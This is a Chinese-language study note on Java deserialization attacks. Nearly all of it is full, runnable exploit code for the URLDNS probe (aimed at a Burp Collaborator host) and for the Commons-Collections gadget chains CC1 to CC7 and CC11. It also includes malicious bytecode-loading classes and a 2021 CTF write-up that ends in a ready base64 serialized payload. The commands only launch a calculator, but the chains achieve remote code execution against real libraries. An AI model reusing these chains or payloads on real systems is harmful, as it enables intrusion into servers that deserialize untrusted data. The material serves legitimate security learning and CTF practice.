Java反序列化学习
参考:
https://www.yuque.com/tianxiadamutou/zcfd4v
https://github.com/phith0n/JavaThings
https://github.com/Y4tacker/JavaSec
https://github.com/3em0/studyNote
https://github.com/threedr3am/learnjavabug
https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6/
https://space.bilibili.com/2142877265/
基础知识 Java基础,重点是序列化、反序列化、反射、动态代理和类的加载等。
URLDNS SerTest.java package com.evo1.ser;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class SerTest { public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashMap = new HashMap <URL, Integer>(); URL url = new URL ("http://2kniltiw1gy0mse6vrq3vdno9ff53u.burpcollaborator.net" ); Class c = url.getClass(); Field urlfield = c.getDeclaredField("hashCode" ); urlfield.setAccessible(true ); urlfield.set(url,1234 ); hashMap.put(url,1 ); urlfield.set(url,-1 ); serialize(hashMap); } }
UnserTest.java package com.evo1.ser;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class UnserTest { public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws IOException, ClassNotFoundException { unserialize("ser.bin" ); } }
CC1 CC1链
maven配置要把依赖都加进来
<dependencies > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.11</version > <scope > test</scope > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
想要能看到源码而不是class下载这个 ,注意源码地址导入是要在sourcepath
运行时,这一句出现该报错
Method execMethod = c.getMethod("exec" , String.class);
去看看前面导入的包是不是不对
import java.lang.reflect.Method;import jdk.internal.org.objectweb.asm.commons.Method;
package cn.evo1.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class CC1_TransformedMap { public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); map.put("value" ,"evo1" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
有个点有疑问,在这一段
Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime" ,null );Runtime r = (Runtime) getRuntimeMethod.invoke(null ,null );Method execMethod = c.getMethod("exec" ,String.class);execMethod.invoke(r,"calc" );
发现invoke
的第一个参数乱填都可以,原因在这里
而对应的方法确实是静态方法,所以第一个参数无所谓了
LazyMap版 package cn.evo1.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import java.util.logging.Handler;public class CC1_LazyMap { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
在jdk8u71
中修复了AnnotationInvocationHandler
类的里的readObject
方法,所以CC1
不能继续使用了
CC6 package cn.evo1.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6Test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"evo1" ); HashMap<Object,Object> map2 = new HashMap <>(); map2.put(tiedMapEntry,"evo2" ); lazyMap.remove("evo1" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); serialize(map2); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC3 CC3Test.java package cn.evo1.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3Test { public static void main (String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"evo1" ); byte [] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class" )); byte [][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
Calc.java package cn.evo1.cc;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
CC4 需要commons-collections4
的依赖
<dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
Calc
和加载恶意类与前面的一致
package cn.evo1.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4Test { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"evo1" ); byte [] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class" )); byte [][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer <>(transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add("evo1" ); priorityQueue.add("evo2" ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC2 没有用chainedtrainsform
,而是直接用invokertransformer
,避免了出现数组
package cn.evo1.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2Test { public static void main (String[] args) throws IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"evo1" ); byte [] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class" )); byte [][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer <>("newTransformer" , new Class []{}, new Object []{}); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add("evo1" ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,invokerTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC5 跟CC6
很像,只是改成了使用TiedMapEntry.toString
package cn.evo1.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5Test { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"evo1" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("evo" ); Class bc = badAttributeValueExpException.getClass(); Field val = bc.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); lazyMap.remove("evo1" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazyMap,chainedTransformer); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC7 package cn.evo1.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7Test { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); HashMap<Object,Object> hashMap1 = new HashMap <>(); HashMap<Object,Object> hashMap2 = new HashMap <>(); Map<Object,Object> lazyMap1 = LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("yy" , 1 ); Map<Object,Object> lazyMap2 = LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Class c = chainedTransformer.getClass(); Field iTransformers = c.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer,transformers); lazyMap2.remove("yy" ); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC11
CommonsCollections11 分析
添加下依赖
<dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
具体分析可以看上面的链接
package cn.evo1.cc;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.*;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.HashSet;public class CC11Test { public static void main (String[] args) throws InstantiationException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, CannotCompileException, NotFoundException, IOException { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field f0 = templates.getClass().getDeclaredField("_bytecodes" ); f0.setAccessible(true ); f0.set(templates,targetByteCodes); f0 = templates.getClass().getDeclaredField("_name" ); f0.setAccessible(true ); f0.set(templates,"name" ); f0 = templates.getClass().getDeclaredField("_class" ); f0.setAccessible(true ); f0.set(templates,null ); InvokerTransformer transformer = new InvokerTransformer ("asdfasdfasdf" , new Class [0 ], new Object [0 ]); HashMap innermap = new HashMap (); LazyMap map = (LazyMap) LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry (map,templates); HashSet hashset = new HashSet (1 ); hashset.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } f.setAccessible(true ); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } f2.setAccessible(true ); Object[] array = (Object[])f2.get(hashset_map); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } keyField.setAccessible(true ); keyField.set(node,tiedmap); Field f3 = transformer.getClass().getDeclaredField("iMethodName" ); f3.setAccessible(true ); f3.set(transformer,"newTransformer" ); serialize(hashset); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC链家族 贴一张总结的图片(应该没总结错吧hhh)
2021东华杯 ezgadget 下载源码反编译一下,看一下逻辑
@Controller public class IndexController { @ResponseBody @RequestMapping({"/"}) public String index (HttpServletRequest request, HttpServletResponse response) { return "index" ; } @ResponseBody @RequestMapping({"/readobject"}) public String unser (@RequestParam(name = "data", required = true) String data, Model model) throws Exception { byte [] b = Tools.base64Decode(data); InputStream inputStream = new ByteArrayInputStream (b); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("gadgets" ) && year == 2021 ) objectInputStream.readObject(); return "welcome bro." ; } }
可以看到在readobject
路由,当传完一个gadgets
和2021
后就会触发反序列化,然后看下有没有可以用的类
public class ToStringBean extends ClassLoader implements Serializable { private byte [] ClassByte; public String toString () { org.example.tools.ToStringBean toStringBean = new org .example.tools.ToStringBean(); Class clazz = toStringBean.defineClass((String)null , this .ClassByte, 0 , this .ClassByte.length); Object Obj = null ; try { Obj = clazz.newInstance(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } return "enjoy it." ; } }
在tools
里面存在一个ToStringBean
类,它的toString
方法可以加载任意字节码,所以现在思路就是找一个类来触发ToStringBean.toString
,而在CC5
中存在BadAttributeValueExpException.readObject
触发TiedMapEnty.toString
,因此最终思路是BadAttributeValueExpException.readObject->ToStringBean.toString
,编写exp
如下
package com.ezgame.ctf;import com.ezgame.ctf.tools.ToStringBean;import com.ezgame.ctf.tools.Tools;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Exp { public static void main (String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { ToStringBean toStringBean = new ToStringBean (); Class tc = toStringBean.getClass(); Field classByte = tc.getDeclaredField("ClassByte" ); classByte.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("target/classes/com/ezgame/ctf/Payload.class" )); classByte.set(toStringBean,code); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1111 ); Class bc = badAttributeValueExpException.getClass(); Field val = bc.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,toStringBean); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeUTF("gadgets" ); objectOutputStream.writeInt(2021 ); objectOutputStream.writeObject(badAttributeValueExpException); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Tools.base64Encode(payloadBytes); System.out.println(payload); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
恶意类(因为我在win下起服务复现的,直接尝试弹了下计算器)
package com.ezgame.ctf;import java.io.IOException;public class Payload { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
最终payload
(记得url编码
一下)
data=rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAF3QAEmNvbS5lemdhbWUuY3RmLkV4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAKryv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL2V6Z2FtZS9jdGYvUGF5bG9hZDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEADFBheWxvYWQuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEAFmNvbS9lemdhbWUvY3RmL1BheWxvYWQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQAMAAwACgANAAsAFgANAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc%3D